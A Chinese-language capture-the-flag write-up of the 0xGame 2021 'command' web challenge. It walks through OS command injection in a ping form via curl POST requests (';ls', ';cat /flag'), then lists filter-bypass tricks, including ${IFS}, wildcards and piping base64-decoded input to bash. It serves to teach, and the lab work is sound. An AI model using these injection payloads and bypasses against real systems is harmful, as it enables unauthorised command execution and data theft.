Writeup 4 0xGame 2021 · command (WEB)
该 Writeup 包含了完整的解题思路、原理分析以及可以直接复用的 Payload。
一、题目信息
- 赛事:0xGame 2021
- 方向:WEB
- 题目:command
- 描述 :
0xGame{} - 靶机地址 :
http://49.232.142.230:10692/
二、解题思路
1. 信息收集与源码分析
访问靶机首页,页面上只有一个用来输入 IP 地址的输入框,以及一个写着 Ping 的提交按钮。
查看页面源码(F12),核心代码如下:
html
<form action="index.php" method="post">
<input type="text" name="host">
<input type="submit" value="Ping" disabled="disabled">
</form>
发现两个关键点:
- 前端限制 :提交按钮被添加了
disabled="disabled"属性,导致用户无法在页面上直接点击提交。但这只是前端的障眼法,我们完全可以使用工具(如 HackBar、Burp Suite 或curl)直接构造 POST 请求绕过这个限制。 - 参数传递 :表单以 POST 方式提交
host参数给index.php。
2. 漏洞验证(命令注入)
题目名称叫 command,且后端接收 host 参数,极大概率是后端通过 system() 或 shell_exec() 等函数执行了类似 ping -c 4 $host 的命令,并且没有对用户输入进行过滤。
我们使用 curl 构造 POST 请求,利用 Linux 的命令连接符 ; 在 ping 命令后拼接 ls 命令:
bash
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;ls"
回显结果 :成功输出了当前目录下的文件 index.php,证明命令注入成功。
html
<html>
<head>
<title>
Ai Ping wins
</title>
<style type="text/css">
body{
background: cornflowerblue;
}
</style>
</head>
<body>
<form action="index.php" method="post">
<input type="text" name="host">
<input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
index.php
root@Rambo:/command#
3. 寻找 Flag
当前目录下并没有 flag 文件,因此需要去系统的其他目录寻找。使用 ls / 查看根目录:
bash
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;ls -la /"
运行结果:
html
<html>
<head>
<title>
Ai Ping wins
</title>
<style type="text/css">
body{
background: cornflowerblue;
}
</style>
</head>
<body>
<form action="index.php" method="post">
<input type="text" name="host">
<input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
total 84
drwxr-xr-x 1 root root 4096 Nov 5 10:35 .
drwxr-xr-x 1 root root 4096 Nov 5 10:35 ..
-rwxr-xr-x 1 root root 0 Nov 5 10:35 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 22 2019 bin
drwxr-xr-x 2 root root 4096 Oct 20 2018 boot
drwxr-xr-x 5 root root 340 Nov 5 10:35 dev
drwxr-xr-x 1 root root 4096 Nov 5 10:35 etc
-r--r--r-- 1 root root 36 Aug 9 2023 flag
drwxr-xr-x 2 root root 4096 Oct 20 2018 home
drwxr-xr-x 1 root root 4096 Jan 22 2019 lib
drwxr-xr-x 2 root root 4096 Jan 22 2019 lib64
drwxr-xr-x 2 root root 4096 Jan 22 2019 media
drwxr-xr-x 2 root root 4096 Jan 22 2019 mnt
drwxr-xr-x 2 root root 4096 Jan 22 2019 opt
dr-xr-xr-x 219 root root 0 Nov 5 10:35 proc
drwx------ 1 root root 4096 Jan 23 2019 root
drwxr-xr-x 1 root root 4096 Jan 22 2019 run
drwxr-xr-x 1 root root 4096 Jan 22 2019 sbin
drwxr-xr-x 2 root root 4096 Jan 22 2019 srv
dr-xr-xr-x 13 root root 0 Sep 3 2025 sys
drwxrwxrwt 1 root root 4096 Jan 23 2019 tmp
drwxr-xr-x 1 root root 4096 Jan 22 2019 usr
drwxr-xr-x 1 root root 4096 Jan 22 2019 var
root@Rambo:/command#
发现根目录下存在一个名为 flag 的文件。直接使用 cat 命令读取:
bash
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;cat /flag"
4. 获取 Flag
读取成功,回显如下:
html
<html>
<head>
<title>
Ai Ping wins
</title>
<style type="text/css">
body{
background: cornflowerblue;
}
</style>
</head>
<body>
<form action="index.php" method="post">
<input type="text" name="host">
<input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}
root@Rambo:/command#
三、最终 Flag
text
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}
注:如果平台要求 NSSCTF{} 格式,替换前缀即可
四、知识点总结
- 前端限制不可信 :永远不要相信前端的任何限制(如
disabled按钮、JS 验证等)。攻击者可以直接构造 HTTP 数据包绕过前端校验,所有的安全限制必须在后端实现。 - 命令执行/注入(RCE) :Web 应用如果直接调用系统命令且未对输入进行严格过滤,攻击者可以利用
;、|、&、||等符号拼接恶意命令。 - 绕过技巧 :在 CTF 中,如果遇到命令执行被过滤,常见的绕过方式包括:
- 使用空格绕过:
${IFS}、$IFS$9、<、>等。 - 使用关键字绕过:
c'a't、tac、nl、more、less。 - 使用编码绕过:
echo "base64" | base64 -d | bash。 - 使用通配符:
cat /fla?或cat /fl*。
- 使用空格绕过:
- Linux 基础 :熟悉常见的系统命令(
ls、cat、find等)以及对系统目录结构的了解(Flag 经常被藏在/根目录、/home或/tmp下)。
Rambo
2026年11月05日
🎉🎉🎉